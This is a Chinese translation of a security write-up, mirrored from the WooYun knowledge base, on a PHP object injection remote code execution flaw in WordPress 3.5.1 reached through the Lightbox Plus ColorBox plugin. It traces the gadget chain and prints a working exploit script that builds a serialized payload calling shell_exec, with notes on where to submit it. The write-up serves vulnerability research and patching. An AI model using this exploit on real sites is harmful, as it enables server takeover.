WordPress 3.5.1遠端程式碼執行EXP

wyzsk發表於2020-08-19
作者: 瞌睡龍 · 2013/12/12 14:02

from:Remote Code Execution exploit in WordPress 3.5.1

(ps:老外也有幾分標題黨的意思,雖然是wordpress本身留下的坑,但是目前的利用還是需要安裝的外掛踩到了這個坑,才會被利用成功,並且要進入後臺……感謝horseluke幫忙測試並翻譯EXP與總結部分。)

0x00 背景


之前,在http://vagosec.org/2013/09/wordpress-php-object-injection/發表了WordPress中php物件注入的漏洞,那時候考慮到影響,沒有講解如何利用該漏洞,現在已經過去了三個月的時間,網站管理員應該都已經更新的WordPress,現在覺得可以公開了。

之前對這個漏洞不太瞭解的可以先看一下drops之前翻譯的文章:

WordPress < 3.6.1 PHP 物件注入漏洞

0x01 如何尋找


看完以前的那個文章之後,會發現有三種方法可能被利用

__destruct()
__wakeup()
__toString()

但是在WordPress本身的類當中沒有找到可以成功利用的點。

但這是否意味著該漏洞不可利用呢,當然不是,WordPress最流行的功能就是允許安裝外掛和模板。這個是有第三方開發的,在寫這篇文章時,WordPress列出了28358個外掛,有超過5.6億次的下載,這些外掛有著各式各樣的功能。包括有2155個主題,下載量超過八千六百萬。

然後我就開始在最流行的外掛當中尋找那些可以成功利用該漏洞的。

在尋找了幾個外掛之後,我終於找到一個外掛的類中,在__toString()方法中是可利用的了。

這個外掛就是Lightbox plus ColorBox

0x02 分析詳情


Lightbox plus ColorBox外掛的/classes/shd.class.php檔案中的simple_html_dom_node類,其中程式碼如下:

#!php
class simple_html_dom_node {
    private $dom = null;

    function __toString() {
        return $this->outertext();
    }

    function outertext() {
        // …
        if ($this->dom && $this->dom->callback!==null) {
            call_user_func_array($this->dom->callback, array($this));
        }
        // … 
    }
}

熟悉PHP的朋友一看到call_user_func_array函式,就知道這是一個可能存在問題的點。

不熟悉PHP的可以來看下PHP手冊http://www.php.net/function.call-user-func-array

為什麼會對這個類的定義感興趣呢?因為我們可以控制simple_html_dom_node物件的所有屬性,我們可以設定dom屬性為任意值,如果傳入一個callback屬性的話,有意思的事情就發生了。

利用call_user_func_array函式,我們可以呼叫任何函式,並且可以傳遞第一個引數進去。我不是PHP專家,沒有發現利用辦法,我又回過頭看WordPress本身的程式碼,發現在/wp-admin/includes/screen.php檔案中,這個檔案定義了一個WP_Screen的類,當用user-meta資料被反序列化時,是被包含的,類的程式碼如下:

#!php
final class WP_Screen {
    private $_help_tabs = array();

    public function get_help_tabs() {
        return $this->_help_tabs;
    }

    public function render_screen_meta() {
        // …
        foreach ( $this->get_help_tabs() as $tab ):
            if ( ! empty( $tab['callback'] ) )
                call_user_func_array( $tab['callback'], array( $this, $tab ) );
        endforeach;
        // …
    }
}

就像我之前提到過的,我們能夠呼叫任意的函式,這包括類當中的方法,能夠呼叫WP_Screen物件中的render_screen_meta()方法,並且不需要傳遞任何引數,這個方法將會迴圈遍歷_help_tabs屬性中的所有元素,如果元素中的callback屬性不為空,那麼將會呼叫callback屬性中的函式,傳入的兩個引數為:WP_Screen物件和$tab(_help_tabs屬性的其中一個元素)。

這樣我們有了更多的控制,可以選擇那些函式被呼叫,並且可以控制,但是我們可能需要更加努力些,因為我們沒有完全控制引數,看一下WordPress中的核心程式碼位於/wp-includes/category-template.php檔案中:

#!php
function wp_generate_tag_cloud( $tags, $args = '' ) {
    // …
    $args = wp_parse_args( $args, $defaults );
    extract( $args );
    // …
    foreach ( (array) $tags as $key => $tag ) {
        $real_counts[ $key ] = $tag->count;
        $counts[ $key ] = $topic_count_scale_callback($tag->count);
    }
    // …
}

關於extract函式的手冊說明:http://www.php.net/function.extract

wp_generate_tag_cloud()函式接受兩個引數$tags和$args,$args經過wp_parse_args函式的處理,該函式的作用是把$args陣列與預設的一組$deafults合併,之後經過extract函式生產一些變數,其中一個是$topic_count_scale_callback變數。之後,該變數被呼叫傳入一個引數,好訊息就是我們能夠完全控制這個變數。第一個引數,WP_Screen物件被轉化為陣列,當一個物件被強制轉化為陣列的時候,其中的屬性最為關鍵:

#!php
<?php
class Swag {
    public $yolo = 'yolo';
}
$swag = new Swag;
var_dump((array)$swag);
?>

輸出結果為:

array(1) {
  ["yolo"]=>
  string(4) "yolo"
}

現在我們需要的就是WP_Screen物件中的一個屬性有一個count屬性。

這是個很容易解決的問題,因為我們可以讓所有的屬性反序列化一遍。

這就意味著我們能夠呼叫任何不帶引數的函式,並完全控制它。

0x03 EXP


根據以上分析,你應該可以構造一個屬於自己的完美exploit了。不過先展示一下我的做法:

#!php
<?php
class simple_html_dom_node {
    private $dom;
    public function __construct() {
        $callback = array(new WP_Screen(), 'render_screen_meta');
        $this->dom = (object) array('callback' => $callback);
    }
}
class WP_Screen {
    private $_help_tabs;
    public $action;
    function __construct() {
        $count = array('count' => 'echo "schwag" > /tmp/1337h4x0rs');
        $this->action = (object) $count;
        $this->_help_tabs = array(array(
            'callback' => 'wp_generate_tag_cloud', 
            'topic_count_scale_callback' => 'shell_exec'));
    }
}
echo serialize(new simple_html_dom_node()).'{0xf09d8c86}';
?>

該指令碼執行後將有一段輸出內容,攻擊者可將其作為使用者元資訊(user metadata)提交,此時shell_exec()函式將執行,引數為

echo "schwag" > /tmp/1337h4x0rs

要注意的是,輸出內容存在NULL位元組符,這是因為php在序列化一個物件時,會對私有屬性以NULL位元組符包圍(見PHP手冊)。WordPress中大部分使用者元資訊(user metadata)並不允許NULL位元組符,除了在3.5.1版本中,有部分地方因為預設配置而被允許使用。

(譯註:(1)由於存在NULL字串,直接echo會有一部分payload看不到,建議進行rawurlencode再輸出;(2)原作者使用shell_exec進行shell寫入,會受到系統配置和許可權影響而無法成功,如果僅是想復現漏洞,可替換為var_dump。若頁面html輸出中,出現WP_Screen::__construct()中$count變數所預先設定的字串,則存在此漏洞。(3)在wp-admin/profile.php頁面中修改更新個人資料【可以修改個人說明,實際上這裡面的資料從資料庫讀取後都會判斷是否為序列化後的資料,是的話都會反序列化一遍從而觸發該漏洞】後,就可以看到效果了。)

0x04 總結


本文以低於3.6.1版本的Wordpress為基礎,展示一個php物件漏洞exploit例子。這個exploit需要利用近乎百萬下載量的外掛Lightbox Plus ColorBox中,其中一組類(simple html dom)所定義的邏輯;接著再組合利用WordPress核心中,另一些類和方法所定義的程式邏輯,我們就可以透過一段攻擊者可控字串執行任意函式,遠端執行命令也就不在話下了。天啊不會吧!如果你還沒更新WordPress,那現在可是個好時機了!

(譯註:原作者說外掛Lightbox Plus ColorBox中闡述的漏洞,似乎是將simple html dom的特性——模仿瀏覽器中dom.outerText操作——用成漏洞。另外在php開發中,該simple html dom元件類應用極廣泛,主要用於html解析和提取、過濾文字。雖然說像文中這種利用需要碰運氣,不過開發可以此例子思考:(1)如何不被攻擊者將特性利用為漏洞通道?雖然這真的有些難(2)如何解決資料和執行混合導致的安全問題?雖然這似乎是終極問題之一了)

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章